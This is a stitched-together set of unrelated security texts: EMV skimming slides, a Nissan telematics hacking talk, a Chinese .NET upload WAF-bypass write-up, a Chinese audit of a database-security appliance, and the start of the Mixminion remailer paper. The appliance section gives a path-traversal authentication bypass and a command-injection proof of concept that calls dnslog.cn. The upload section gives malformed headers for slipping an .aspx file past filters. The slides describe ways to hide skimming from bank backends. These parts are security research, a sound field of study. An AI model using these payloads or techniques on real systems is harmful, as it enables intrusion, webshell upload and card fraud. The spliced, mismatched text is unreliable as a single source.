Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
transaction log: same card with tampered CVM
00a4040007a0000000031010 Select AID (VISA)
00c0000027 Get additional data
80a80000028300 Get processing options
00c0000010 Get additional data
00b2010c00 Read data files...
00b2010c40
00b2011400
00b20114c3
00b2021400
00b20214b2
00b2011c00
00b2011c52
00b2021c00
00b2021c45
80ca9f1700 Get PIN try counter (unknown length)
80ca9f1704 Get PIN try counter (corrected length)
0020008008241234ffffffffff Verify PIN (1234)
80ae80001d... Generate AC (online transaction)
...
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
Backend detection - Terminal Data
8 7 6 5 4 3 2 1 Bits
---------------------------------------------------------------------
Terminal Verification Results (byte 1 of 5)
1 x x x x x x x Offline data processing was not performed
x 1 x x x x x x SDA failed
x x 1 x x x x x ICC data missing
x x x 1 x x x x Card number appears on hotlist
x x x x 1 x x x DDA failed
x x x x x 1 x x CDA failed
---------------------------------------------------------------------
CVM Results (byte 3 of 3)
0 0 0 0 0 0 0 0 unknown
0 0 0 0 0 0 0 1 Failed
0 0 0 0 0 0 1 0 Successful
CVM Results byte 1: code of CVM Performed
CVM Results byte 2: code of CVM Condition
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
Backend detection - Card Data
8 7 6 5 4 3 2 1 Bits
---------------------------------------------------------------------
Cardholder Verification Results (bytes 1,2 of 4)
Common Payment Application Specification format
0 0 x x x x x x AAC returned in second GENERATE AC
0 1 x x x x x x TC returned in second GENERATE AC
1 0 x x x x x x Second GENERATE AC not requested
x x 0 0 x x x x AAC returned in first GENERATE AC
x x 0 1 x x x x TC returned in first GENERATE AC
x x 1 0 x x x x ARQC returned in first GENERATE AC
x x x x 1 x x x CDA performed
x x x x x 1 x x Offline DDA performed
x x x x x x 1 x Issuer Authentication not performed
x x x x x x x 1 Issuer Authentication failed
x x x x 1 x x x Offline PIN Verification Performed
x x x x x 1 x x Offline PIN Verification Performed and Failed
x x x x x x 1 x PIN Try Limit Exceeded
x x x x x x x 1 Last Online Transaction Not Completed
Chip & PIN is definitely broken v1.4
Backend detection
the attack execution might be detected by the backend (via
the TVR, CVM Results and CVR advertising failed data
authentication and cleartext CVM) but blocking a card solely
on this information does not feel like a realistic solution
a downgraded CVM List with offline PIN + fallback to online
PIN might be used to “hide” cleartext CVM Results and CVR by
answering incorrect PIN offline verification to the terminal
(without passing the command to the card), customer would
be prompted twice for the PIN
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Backend detection
(untested) it would be also possible for the skimmer to advertise
relevant offline authentication records from a stored valid SDA card
with a convenient CVM List for the authentication phase, and use
the real card for the transaction, this would result in “clean” TVR,
CVM Results and CVR
Terminal Capabilities (9f33), when requested by the card via
CDOL1/CDOL2 and sent by the terminal via GENERATE AC, can be
intercepted and rewritten to advertise only SDA capability in case of
DDA card skimming
CDA is designed to protect against this but it should still be
possible for the skimmer to force usage as an SDA card
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Summary
an EMV skimmer poses a serious threat due to ease of
installation and difficult detection
EMV data allows fraudulent usage on websites that perform
insufficient validation (as well as magstripe clone for cards that
do not use iCVV)
the PIN can be always intercepted despite card type (SDA or
DDA) and CVM / Issuer Action Codes configuration
stealing an EMV chip & pin card that was previously skimmed
enables full usage and raises serious liability considerations
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Vendor Response
EMVCo announced that the hole will not be fixed saying that
“when the full payment process is taken into account, suitable
countermeasures are available”
MasterCard spokesman Jan Lundequist (head of chip product
management) said in an interview that the EMV system is
simply too complex for an easy fix
In the Netherlands the hole has been reportedly closed by
updating POS firmware with a version which apparently
disables plaintext PIN verification for domestic cards (believed
to be 100% DDA)
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Recommendations
despite industry claims about reduced fraud levels in our
opinion EMV is inadequate and overly complex, it should be
replaced with a simpler and cleaner solution
correctly implemented crypto should be performed between
card <> backend (online) or card <> terminal (offline) for
double authentication and preventing interception/man-in-
the-middle attacks for every single step of the transaction
terminals cannot be trusted, PIN input and verification should
be confined on the card itself (e-ink scrambled touchpad)
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Recommendations
“patching” EMV is possible by disabling plaintext PIN
verification on POS and ATM firmwares preventing the
downgrade attack
despite some vendor response claiming otherwise this would
play nicely with every card type as on-line PIN verification can
be used for SDA
actually on-line PIN verification could be used all the time,
both North America and European banks have reportedly little
use for the whole off-line verification mess pushed by EMV
and could do everything on-line...
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
chip skimmer installations dated 2008 have been reported in the
wild by law enforcement authorities after this presentation was
made available
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
http://www.inversepath.com
http://www.aperturelabs.com
sponsored by:
http://www.integra-group.it
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4 | pdf |
1
2
● Who are we
● Background
● Picking our battles
● The web vuln
● Intermission
● Telematics
○ What is it
○ Local vulnerabilities discovered
○ Writing a blind exploit
○ Remote vulnerability
● Conclusion
● Public statements
● Questions
Jesse @jessemichael
Mickey @HackingThings
Alex @ABazhaniuk
https://www.mcafee.com/us/threat-center/advanced-threat-research/index.aspx
3
4
● After we were done with our previous hackary, we wanted to
try something new
● We want to deepen our knowledge and experience with
automotive security
● Actual car hacking experience is at 0%
5
● Autonomous vehicles
○ Tesla Autopilot
○ Comma.io
○ Google self driving car
○ UBER
● Connected cars
○ Autonomous
○ V2X
○ V2V
● Drive by wire systems, how does it work?
6
● Charlie Miller and Chris Valasek
● Troy Hunt and Scott Helme - Nissan web API hack
● Kevin Mahaffey and Marc Rogers (Tesla hack 2015)
● Keen Labs Tesla hack
● And more...
7
● Budget?
● Where do we start?
● We already pwned an after market IVI , what is next?
*IVI = In-Vehicle Infotainment System
● Ok, Lets go the wrecking yard and look around
8
● Funny story about the wrecking yard.
○ Looking for a late model OEM IVI.
○ “What do you have?”
■ An F150 that got into a brawl with a wall and lost
■ and more squashed cars
● A junk yard != wrecking yard.
9
● Nice car!
● Can you spot what caused
it to be “Totaled”?
10
● GIMME THAT DASHBOARD!
11
● 1 week later
● carception
12
● A trip to Lowe’s and a few hours later
13
● Once it is fully assembled it kinda works
● A “few” errors appear on the instrument panels.
● We need to get this thing on the table somewhat functional
● NissanConnect℠ EV
14
● NissanConnectSM EV (formerly known as CARWINGS®) is designed to help you
manage your Nissan LEAF® and control a host of convenient features. The best
part: you don’t have to be in or even near your car to do it. It all works through your
smartphone or computer. [*]
● NissanConnect EV is complimentary for three years. You just need to download the
companion app to run all the features listed below.
WITH THE NISSANCONNECTSM EV APP, YOU CAN:
● Find a nearby charging station
● Check on the state of your battery charge
● Remotely start a charging session
● Get notified when your battery is fully charged
● See your estimated driving range
● Heat up or cool down your LEAF® to the comfortable temperature it was when you
left it
● Set a reminder to plug in your car
-
Source:https://www.nissanusa.com/connect/features-app/system-requirements/nissan-connect-ev
15
● Next step, switch owners in the backend
● Go ask nicely for the title from wrecking yard, ahh….. No.
Wrecking guy reaction:
● junk title can’t be moved.
● Bill of sale, wrecking yard receipt?
● ask nissan nicely and you shall receive
16
17
● We already pwned one in the past, seems like the best place
to start.
● Looking at the IVI attack surface:
18
● The IVI is running windows automotive 7 , no source,
requires license.
● That’s too hard!, we want to hack this but...
● Maybe there is something simpler to hack in our sights, let's
keep looking
19
20
● Getting any kind of info from the IVI
● Getting any kind of info from the IVI
- Navigation system debug data
- contacts
- way points
- SRAM dump
21
● Getting any kind of info from the IVI
- Navigation system debug data
- contacts
- way points
- SRAM dump
- Flash dumps
22
23
After running strings on the debug files we discovered this url:
“http://biz.nissan-gev.com/WARCondelivbas/it-m_gw10/”
● Let’s do a WHOIS
● no one owns it, let’s buy it for the lulz!
● setting up an EC2 instance and running a generic honey pot
● Let's see who comes knocking
24
- The Web vulnerability
- First knock comes from japan
25
26
- The Web vulnerability
- First knock comes from japan
- The Web vulnerability
- First knock comes from japan
- but then we start getting more knocks on the door and these
are not your usual automated tools.
27
POST /WARCondelivbas/it-m_gw10/ HTTP/1.1
Host: biz.nissan-gev.com
Connection: Keep-Alive
User-Agent: NISSAN CARWINGS
Content-Type: application/x-carwings-nz
Content-Length: 614
^@^@^Cä^@^@^BZx<9ØK<81>:6%?¢sdd^TQ<82><j4A_<87>æL0^Rí^P¡(<81>
¤äsdx¤¿ÓßêÇtHÙId^HZrwggg×I<92>^\$É»
^?)cÙIx^X<83>Éæó|¶<9c><Õ:<81>óïõíÝ/ÜOðâ<9c>¼?=<87><23>ôÒ:Õ<98><82>ÂA<89>4eS)³)
èÝïÕQN<8349>óÂTB7F^VÔ4ôüìð´^Tv<8b>^P÷<9a><9a>M2<87>è<WfM<8c>è^UW^U ßСÄK]Pi-%UYG^?
Ʋ4:gl<89>Rj¸ÍOò%c×s¶LÓ<93><80>°X.èÙét^G<8f>B÷ng¸µßZ^N^^±xcfAW
«ÕQʲð¦A<80>ødÐ^B^GJjÑ^V<94>±E$PÐÙíEp§Ùq@^?<81>^Bl_jâÚjÏÖ<96>^H<86><90>ÇA^xNWPç<9b>
<96>^Rë`^B«´¶
- The Web vulnerability
- First knock comes from japan
- but then we start getting more knocks on the door and these
are not your usual automated tools.
28
- The Web vulnerability
- First knock comes from japan
- but then we start getting more knocks on the door and these
are not your usual automated tools.
29
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<carwings version="2.2">
<aut_inf navi_id="1054********" tel="err" dcm_id="2012********"
dcm_tel="380*********" sim_id="89380***************" vin="1N4A*************"
user_id="********" password="********"></aut_inf>
<bs_inf><sftwr_ver navi="041-102-10111000000003010100" map="006"
dcm="3NF0000642"></sftwr_ver>
<vcl spd="0" drc="138.5" sts="stop" rss="5" crr="life:)">
<crd datum="wgs84" lat="40,00,**.**" lon="-75,01,**.**"></crd></vcl>
<navi_set t_zone="-8.00" lang="use" dst_d="km" tmp_d="C" e_mlg_d="km/kwh"
spd_d="km/h"></navi_set></bs_inf>
<srv_inf><app name="AP"><send_data id_type="file"
id="APUP001.001"></send_data></app></srv_inf>
</carwings>
- The Web vulnerability
- First knock comes from japan
- but then we start getting more knocks on the door and these
are not your usual automated tools.
- We got cars connecting to our server?!?
30
- The Web vulnerability
- First knock comes from japan
- but then we start getting more knocks on the door and these
are not your usual automated tools.
31
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<carwings version="2.2">
<aut_inf navi_id="1054********" tel="err" dcm_id="2012********"
dcm_tel="380*********" sim_id="89380***************" vin="1N4A*************"
user_id="********" password="********"></aut_inf>
<bs_inf><sftwr_ver navi="041-102-10111000000003010100" map="006"
dcm="3NF0000642"></sftwr_ver>
<vcl spd="0" drc="138.5" sts="stop" rss="5" crr="life:)">
<crd datum="wgs84" lat="40,00,**.**" lon="-75,01,**.**"></crd></vcl>
<navi_set t_zone="-8.00" lang="use" dst_d="km" tmp_d="C" e_mlg_d="km/kwh"
spd_d="km/h"></navi_set></bs_inf>
<srv_inf><app name="AP"><send_data id_type="file"
id="APUP001.001"></send_data></app></srv_inf>
</carwings>
The cars sent us plenty of data, including location, let's look at
one of them a bit closer.
32
33
The cars sent us plenty of data, including location, let's look at
one of them a bit closer.
34
The cars sent us plenty of data, including location, let's look at
one of them a bit closer.
Who owns this car? we have the VIN, lets google...
35
36
Who owns this car? we have the VIN, lets google...
37
Why is this happening?
● Owner replacing the SIM card in their car.
● The Jasper network.
38
39
● Continental made Telematics Control Unit (TCU)
● Used as the conduit for the car to connect to the backend.
● Older model , buy it on eBay for cheap.
40
● Uses a cellular 2G modem
41
● Uses a cellular 2G modem
● Yes
42
● Uses a cellular 2G modem
● Yes
● 2G
43
44
Connected to the rest of the car like this
Gathering Intel from the board
- Exploring the TCU - TOP
45
46
Gathering Intel from the board
- Exploring the TCU - Bottom
Exploring the TCU
Freescale
chip CAN
2G Cellular complex
USB
Small
connector
(USB)
Big connector
ANT
47
UART
CAN
ANT
48
Freescale
chip CAN
Small
connector
(USB)
Big connector
2G Cellular complex
USB
UART
CAN
Exploring the TCU
Gathering Intel from the board
● Freescale chip debug header, lets get firmware
49
Gathering Intel from the board
● Its USB right? lets mitm it! CAR<-usb->LAPTOP<-usb->TCU
50
51
Gathering Intel from the board
● Its USB right? lets mitm it! CAR<-usb->LAPTOP<-usb->TCU
● This looks familiar...
52
Gathering Intel from the board
● Its USB right? lets mitm it! CAR<-usb->LAPTOP<-usb->TCU
● This looks familiar...
Gathering Intel from the board
● Its USB right? lets mitm it!
● This looks familiar...
53
● Oh, look at that!
● I know this chip! Do you?
54
● Here are a few hints
55
56
Infineon PMB 8876
Functional diagram
57
Gathering Intel from the board
● It’s a USB system. We know this…
● Lets connect to it and explore
Telematics vulnerabilities
● Ok, now that we have gathered our senses together, let's
check for known vulnerabilities...
58
59
Telematics vulnerabilities
● Ok, now that we have gathered our senses together, let's
check for known vulnerabilities...
60
Telematics vulnerabilities
● Ok, now that we have gathered our senses together, let's
check for known vulnerabilities...
61
Telematics vulnerabilities
● Ok, now that we have gathered our senses together, let's
check for known vulnerabilities...
62
Telematics vulnerabilities
● Ok, now that we have gathered our senses together, let's
check for known vulnerabilities...
Telematics vulnerabilities
● Ok, now that we have gathered our senses together, let's
check for known vulnerabilities.
● confirmed local vector
○ AT+STKPROF
○ AT+XAPP
○ AT+XLOG
○ AT+FNS
63
Telematics vulnerabilities
● After confirming the local vulns, let’s check for remote ones…
● oh wait!
● Thanks to the amazing Dr. Ralf-Philipp Weinmann we know
this baseband FW is vulnerable to an Over-The-Air TMSI
buffer overflow.
64
Telematics vulnerabilities
● Confirming the TMSI vulnerability
○ The good book has PoC code in it, yay!
○ OpenBTS has moved on from testcall functionality
(“security” reasons)
○ this will take a while, better get a faraday cage
65
Telematics vulnerabilities
● Confirming the TMSI vulnerability
66
Telematics vulnerabilities
● Confirming the TMSI vulnerability
● After many many days of attempts and trying to get OpenBTS
to work, Jesse confirms remote buffer overflow!
○ Thank you Jared Boone!
67
Telematics vulnerabilities
● Exploiting
○ We don’t have a copy of the firmware, how do we fix this?
○ Getting the firmware out of the device requires semi-blind
exploitation
○ It’s not quite that bad, we have some basic exception
logging that includes:
■ Register state at time of crash
■ 178 dwords of stack values upwards from SP at time
of crash
○ We can work with that
68
Telematics vulnerabilities
● Exploiting
○ No DEP
○ No ASLR
69
Telematics vulnerabilities
● Exploiting
○ We’ll just use AT command buffer overflow to inject
payload to:
■ Write tag to signify start of data block
■ Copy 512 bytes from arbitrary location into stack
frame
■ Write tag to signify completed copy of data block
■ Jump to hardcoded invalid location to force a crash at
specific location
■ Wait for device to reboot
■ Read exception log using AT+XLOG and extract data
from between tags in stack dump
■ … and then do it again 13 thousand times …
70
Telematics vulnerabilities
● Once firmware is accessible we can work on reversing and
jumping from the baseband to the CAN bus
71
72
73
74 | pdf |
1
OLONLNOV-从.NET源码看⽂件上传绕waf
@我是killer
.NET⾥⼀般使⽤ context.Request.Files 来处理⽂件上传,编写如下代码测试。
跟⼊⽂件上传处理流程
C#
复制代码
using System.Web;
namespace WebApplication1
{
public class Handler1 : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
HttpPostedFile file = context.Request.Files["file_upload"];
string filePath = context.Server.MapPath("~/test/") +
System.IO.Path.GetFileName(file.FileName);
file.SaveAs(filePath);
context.Response.Write(filePath);
}
public bool IsReusable
{
get
{
return false;
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
跟⼊ System.Web.HttpRequest.EnsureFiles
跟⼊ System.Web.HttpRequest.FillInFilesCollection
3
第⼀个红框处,判断了我们的Content-Type是否以 multipart/form-data 开头
第⼆个红框处以及在获取⽂件相关的东⻄了,说明已经解析完了,说明解析的地⽅在箭头处
于是跟⼊ System.Web.HttpRequest.GetMultipartContent
GetAttributeFromHeader 代码如下
4
C#
复制代码
private static string GetAttributeFromHeader(string headerValue, string
attrName)
{
if (headerValue == null)
return (string) null;
int length1 = headerValue.Length;
int length2 = attrName.Length;
int startIndex;
for (startIndex = 1; startIndex < length1; startIndex += length2)
{
startIndex =
CultureInfo.InvariantCulture.CompareInfo.IndexOf(headerValue, attrName,
startIndex, CompareOptions.IgnoreCase);
if (startIndex >= 0 && startIndex + length2 < length1)
{
char c1 = headerValue[startIndex - 1];
char c2 = headerValue[startIndex + length2];
if ((c1 == ';' || c1 == ',' || char.IsWhiteSpace(c1)) && (c2
== '=' || char.IsWhiteSpace(c2)))
break;
}
else
break;
}
if (startIndex < 0 || startIndex >= length1)
return (string) null;
int index1 = startIndex + length2;
while (index1 < length1 && char.IsWhiteSpace(headerValue[index1]))
++index1;
if (index1 >= length1 || headerValue[index1] != '=')
return (string) null;
int num1 = index1 + 1;
while (num1 < length1 && char.IsWhiteSpace(headerValue[num1]))
++num1;
if (num1 >= length1)
return (string) null;
string attributeFromHeader;
if (num1 < length1 && headerValue[num1] == '"')
{
if (num1 == length1 - 1)
return (string) null;
int num2 = headerValue.IndexOf('"', num1 + 1);
if (num2 < 0 || num2 == num1 + 1)
return (string) null;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
5
⼤概意思就是以下都可以解析
然后继续回到 System.Web.HttpRequest.GetMultipartContent
第⼀处这⾥没啥看的获取请求的内容,第⼆处我们看到他传⼊ System.Web.HttpMultipartConte
ntTemplateParser.Parse 时有⼀个好像是编码的东⻄,很可疑我们跟进去看看。
attributeFromHeader = headerValue.Substring(num1 + 1, num2 - num1
- 1).Trim();
}
else
{
int index2 = num1;
while (index2 < length1 && headerValue[index2] != ' ' &&
headerValue[index2] != ',' &&
(AppSettings.UseLegacyMultiValueHeaderHandling || headerValue[index2] !=
';'))
++index2;
if (index2 == num1)
return (string) null;
attributeFromHeader = headerValue.Substring(num1, index2 -
num1).Trim();
}
return attributeFromHeader;
}
41
42
43
44
45
46
47
48
49
50
51
52
53
C#
复制代码
Content-Type: multipart/form-dataAAAAAAAAAAAA;boundary=----aaaa
Content-Type: multipart/form-dataAAAAAAAAAAAA,boundary=----aaaa
Content-Type: multipart/form-dataAAAAAAAAAAAA boundary=----aaaa
Content-Type: multipart/form-dataAAAAAAAAAAAA\tboundary\t=\t----aaaa
1
2
3
4
6
跟⼊ System.Web.HttpRequest.GetEncodingFromHeaders
7
有两种获取⽅式第⼀种是 UserAgent 头需要以 UP 开头,并且存在 x-up-devcap-post-charse
t 头从中获取编码格式。第⼆种就是从 contentType 获取 charset 字段。
这⾥我们先跟⼊ System.Web.HttpMultipartContentTemplateParser.Parse 看看
先初始化,然后调⽤ ParseIntoElementList ⽅法
8
此处为解析⽂件名的位置,红框处使⽤我们刚才设置的编码获取字符串。然后查了下⽀持的编码
https://docs.microsoft.com/en-us/dotnet/api/system.text.encoding?view=net-6.0#list-of-
encodings
9
此处我们使⽤utf-16来测试,构造请求如下。
然后看下⾯这段
10
先⽤冒号分割,然后开头必须为 Content-Disposition
进⼊ ExtractValueFromContentDispositionHeader 看看
红框处其实只要 Content-Disposition: 后⾯存在 filename= 就⾏了,红框下⾯就是就是有没
有双引号
所以可以下⾯这样写
11
Plain Text
复制代码
Content-Disposition:name="file_upload"aaaaafilename=1.aspx
1 | pdf |
放个垃圾设备,⽔个⽂章
某⽯⽹科云数据库审计与防护系统
源码来源:
docker search hi****one
搜索到两个内容
这⾥拉取 zhu***zaxy/hi****one 镜像
docker pull zhu***zaxy/hi****one
然后docker run启动,这⾥启动需要注意下权限问题
附带参数 --privileged
后⾯的⼀些端⼝映射需要⾃⼰去设置,这⾥只演示如何启动容器
docker run --privileged=true -it -d zhu***zaxy/hi****ne
/usr/sbin/init
启动过后进⼊容器
docker exec -it 容器id /bin/bash
全局搜索war包
发现有两个
/home/realstone/web/webapps/ROOT/UpG**ade.war
/home/deploy/webdeploy2.0/webapps/ProtectPl**form.war
看了下内容,第⼆个war包才是web应⽤的部署⽂件。
copy到物理机中
docker cp
c3cb558add74:/home/deploy/webdeploy2.0/webapps/Protect**atform.war
/Users/**/Downloads
然后就可以审计了。
这套源码也挺简单。
看了下web.xml中的⼀些配置⽂件,发现filter中没有权限验证的操作,但访问部分
路由仍会出现302的情况。
该系统使⽤Spring MVC,直接追拦截器
Spring拦截器
HandlerInterceptorAdapter需要继承
HandlerInterceptor需要实现
主要的三种⽅法
preHandle:拦截于请求刚进⼊时,进⾏判断,需要boolean返回值,如果返回true将继
续执⾏,如果返回false,将不进⾏执⾏。⼀般⽤于登录校验。
postHandle:拦截于⽅法成功返回后,视图渲染前,可以对modelAndView进⾏操作。
postHandle:拦截于⽅法成功返回后,视图渲染前,可以对modelAndView进⾏操作。
afterCompletion:拦截于⽅法成功返回后,视图渲染前,可以进⾏成功返回的⽇志记
录。
prehandle中,先是验证了refer是否存在当前的主机地址。
然后进⾏路径检查
String url = request.getRequestURI();
boolean userAuth = Boolean.FALSE.booleanValue();
if (url.startsWith("/base/") || url
.startsWith("/receive/"))
return true;
这⾥的url取的是 getRequestURI ,并且下⽅是判断url开头是否为 /base/ 或
者 /receive/ 。可以直接/base/../adderss来绕。
确定了如何绕过,那么就开始挖掘漏洞。这类设备命令执⾏应该挺多的。全局搜
索 Runtime 发现某个⽅法存在命令执⾏
并且在Controller中存在调⽤。
然后。。。然后就直接RCE了
POC:
POST /base/../systemConfig/****systime
time=`ping dnslog.cn` | pdf |
Mixminion: Design of a Type III Anonymous
Remailer Protocol
George Danezis1, Roger Dingledine2, David Hopwood3, and Nick Mathewson2
1 Cambridge University <[email protected]>
2 The Free Haven Project <{arma,nickm}@freehaven.net>
3 Independent consultant <[email protected]>
Abstract. We present Mixminion, a message-based anonymous remailer
protocol that supports secure single-use reply blocks. MIX nodes cannot
distinguish Mixminion forward messages from reply messages, so forward
and reply messages share the same anonymity set. We add directory
servers that allow users to learn public keys and performance statistics
of participating remailers, and we describe nymservers that allow users to
maintain long-term pseudonyms using single-use reply blocks as a prim-
itive. Our design integrates link encryption between remailers to provide
forward anonymity. Mixminion brings together the best solutions from
previous work to create a conservative design that protects against most
known attacks.
Keywords: anonymity, MIX-net, peer-to-peer, remailer, nymserver, reply block
1
Introduction
Chaum first introduced anonymous remailer designs over 20 years ago [9]. The
research community has since introduced many new designs and proofs [1, 5, 19,
21–23, 34, 35], and discovered a variety of new attacks [4, 6, 7, 12, 29, 38], but the
state of deployed remailers has changed remarkably little since Cottrell published
his Mixmaster software [10, 32] in 1994. Part of the difficulty in expanding the
deployed remailer base is due to the liability involved in running a remailer node
on the Internet, and part is due to the complexity of the current infrastructure
— it is fairly hard to add new experimental features to the current software.
The Mixminion Project aims to deploy a cleaner remailer design in the same
spirit as Mixmaster, with the goals of expanding deployment, documenting our
design decisions and how well they stand up to all known attacks, and providing a
research base for experimental features. We describe our overall design in Section
3, including a new primitive called a single-use reply block (SURB). Mixmaster
provides no support for replies, but instead relies on the older and less secure
Cypherpunk Type I remailer design [26]. By integrating reply capabilities into
Mixminion, we can finally retire the Type I remailer network.
We introduce link encryption with ephemeral keys to ensure forward anonym-
ity for each message. We also provide flexible delivery schemes — rather than
just allowing delivery to mail or Usenet, we allow designers to add arbitrary mod-
ules to handle incoming and outgoing messages. By separating the core mixing
architecture from these higher-level modules, we can both limit their influence
on the anonymity properties of the system, and also extend the Mixminion net-
work for uses other than anonymous email. We go on in Section 5 to describe
a design for directory servers to track and distribute remailer availability, per-
formance, and key information, and then describe in Section 6 how to securely
build higher-level systems such as nymservers using SURBs.
Mixminion is a best-of-breed remailer protocol that uses conservative design
approaches to provide security against most known attacks. The overall Mixmin-
ion Project is a joint effort between cryptography and anonymity researchers and
Mixmaster remailer operators. This design document represents the first step in
peer review of the Type III remailer protocol.
2
Related Work
2.1
MIX-nets
Chaum introduced the concept of a MIX-net for anonymous communications [9].
A MIX-net consists of a group of servers, called MIXes (or MIX nodes), each of
which is associated with a public key. Each MIX receives encrypted messages,
which are then decrypted, batched, reordered, and forwarded on without any
information identifying the sender. Chaum also proved the security of MIXes
against a passive adversary who can eavesdrop on all communications between
MIXes but is unable to observe the reordering inside each MIX.
Recent research on MIX-nets includes stop-and-go MIX-nets [23], distributed
flash MIXes [21] and their weaknesses [12, 29], and hybrid MIXes [35].
One type of MIX hierarchy is a cascade. In a cascade network, users choose
from a set of fixed paths through the MIX-net. Cascades can provide greater
anonymity against a large adversary: free-route systems allow an adversary who
owns many MIXes to use intersection attacks to reduce the set of possible senders
or receivers for a given message [7]. On the other hand, cascades are more vulner-
able [3] to trickle attacks, where an attacker targeting a specific message going
into a MIX can manipulate the batch of messages entering that MIX so the
only unknown message in the batch is the target message [10, 19]. MIX cascade
research includes real-time MIXes [22] and web MIXes [5].
2.2
Deployed Remailer Systems
The first widespread public implementations of MIXes were produced by the
Cypherpunks mailing list. These “Type I” anonymous remailers were inspired
both by the problems surrounding the anon.penet.fi service [20], and by theo-
retical work on MIXes. Hughes wrote the first Cypherpunk anonymous remailer
[26]; Finney followed closely with a collection of scripts that used Phil Zimmer-
mann’s PGP to encrypt and decrypt remailed messages. Later, Cottrell imple-
mented the Mixmaster system [17, 32], or “Type II” remailers, which added mes-
sage padding, message pools, and other MIX features lacking in the Cypherpunk
2
remailers. Note that Mixmaster does not include replies, so deployed remailer
systems still use the less secure long-term Cypherpunk reply blocks.
At about the same time, Gulcu and Tsudik introduced the Babel system
[19], a practical remailer design with many desirable features. While it pro-
vides replies, they are only indistinguishable from forward messages by pas-
sive observers; the MIX nodes can still distinguish. Babel’s reply addresses are
multiple-use, making them less secure than forward messages due to replay vul-
nerabilities. Babel also introduces inter-MIX detours, where nodes can rewrap
a message and send it through a few randomly chosen new hops — so even the
sender cannot be sure of recognizing his message as it leaves the MIX.
2.3
Remailer Statistics
Levien’s statistics pages [27] track both remailer capabilities (such as what kinds
of encryption the remailer supports) and remailer up-times (obtained by pinging
the machines in question and by sending test messages through each machine or
group of machines). Such reputation systems improve the reliability of MIX-nets
by allowing users to avoid choosing unreliable MIXes. The Jack B Nymble 2 re-
mailer client [39] and the Mixmaster 2.9 remailer allow users to import statistics
files and can then pick remailers according to that data. Users can specify min-
imum reliability scores, decide that a remailer should always or never be used,
and specify maximum latency. Ongoing research on more powerful reputation
systems includes a reputation system for free-route networks [14] and another
for MIX cascades [16].
3
The MIX-net Design
Mixminion brings together the current best approaches for providing anonymity
in a batching message-based MIX environment. We don’t aim to provide low-
latency connection-oriented services like Freedom [40] or Onion Routing [18]
— while those designs are more effective for common activities like anonymous
web browsing, the low latency necessarily implies smaller anonymity sets than
for slower message-based services. Indeed, we intentionally restrict the set of
options for users: we provide only one cipher suite, and we avoid extensions that
would help an adversary divide the anonymity set.
Mixminion uses the same general MIX-net paradigm as previous work [9,
10, 19]. The sender Alice chooses a path through the network. She repeatedly
“onion” encrypts her message, starting with the last MIX in her path, and sends
the onion to the first MIX. Each MIX unwraps a single layer of the onion, pads
the message to a fixed length (32 Kbytes in our current design), and passes the
result to the next MIX. We describe the behavior of the last MIX in Section 4.2.
Headers addressed to each intermediate MIX are encrypted using RSA. They
contain a secret that can be used to generate padding and decrypt the rest of the
message. They also contain the address of the next node to which the message
should be forwarded along with its expected signature key fingerprint.
3
While Mixminion protects against known traffic analysis attacks (where an
adversary attempts to learn a given message’s sender or receiver [37, 38]), we do
not fully address traffic confirmation attacks. In a traffic confirmation attack,
the adversary treats the MIX network as a black box and observes the behavior
of senders and receivers. Over time, he can intersect the set of senders and
receivers who are active at certain times and learn who is sending and receiving
which messages [6]. Good dummy traffic designs may eventually address the
intersection attack, but for now it remains an open problem.
We choose to drop packet-level compatibility with Mixmaster and the Cypher-
punk remailer systems, in order to provide a simple extensible design. We can
retain minimal backwards compatibility by “remixing” Type II messages to be
Type III messages, thus increasing anonymity sets in the Type III network. Type
II messages travelling between Type III remailers are treated as plaintext and
encrypted to the next remailer in the chain using its Type III key. The message
is sent as a Type III encrypted message, but it decrypts to reveal the Type II
message.
We also provide a new feature: a reply block mechanism that is as secure
as forward messages. Reusable reply blocks, such as those in the Cypherpunk
remailer, are a security risk — by their very nature they let people send multiple
messages through them. These multiple messages can easily be used to trace the
recipient’s path: if two incoming batches both include a message to the same
reply block, then the next hop must be in the intersection of both outgoing
batches. To prevent these replays, Mixminion therefore provides only single-
use reply blocks. Since replies may be very rare relative to forward messages,
and thus much easier to trace, the Mixminion protocol makes reply messages
indistinguishable from forward messages even for the MIX nodes. Thus forward
and reply messages can share the same anonymity set.
3.1
Tagging attacks
To motivate some aspects of the Mixminion design, we describe an attack that
works against many MIX-net protocols, including Mixmaster and Babel.
A tagging attack is an active attack in which a message is modified by altering
part of it (for example by flipping bits), so that it can be recognized later in the
path. A later MIX controlled by the attacker can recognize tagged messages
because the header does not conform to the expected format when decrypted.
Also, the final recipient can recognize a tagged message for which the payload
has been altered.
Checking the integrity of hop headers individually is not sufficient to prevent
tagging attacks. For example, in Mixmaster each hop header contains a hash of
the other fields in that header [32]. Each MIX in the path checks the integrity of
the header, and drops the message immediately if it has been altered. However,
an attacking MIX can still alter a header that will be decrypted only after several
more hops, and so tagging attacks are still possible.
The most straightforward way to prevent tagging attacks is to authenticate
the whole message at every hop. For forward messages, then, the padding added
4
to a message must be derived deterministically, so that it is possible to calculate
authentication tags for the whole message at each hop. But the situation becomes
more complicated when reply messages are introduced — the message and the
reply block are created by different users.
3.2
Replies
The rest of this section describes the mechanism for secure replies, including how
we defeat tagging-related attacks. Mixminion’s reply model is in part inspired
by Babel [19], as it requires the receiver of a reply block to keep no other state
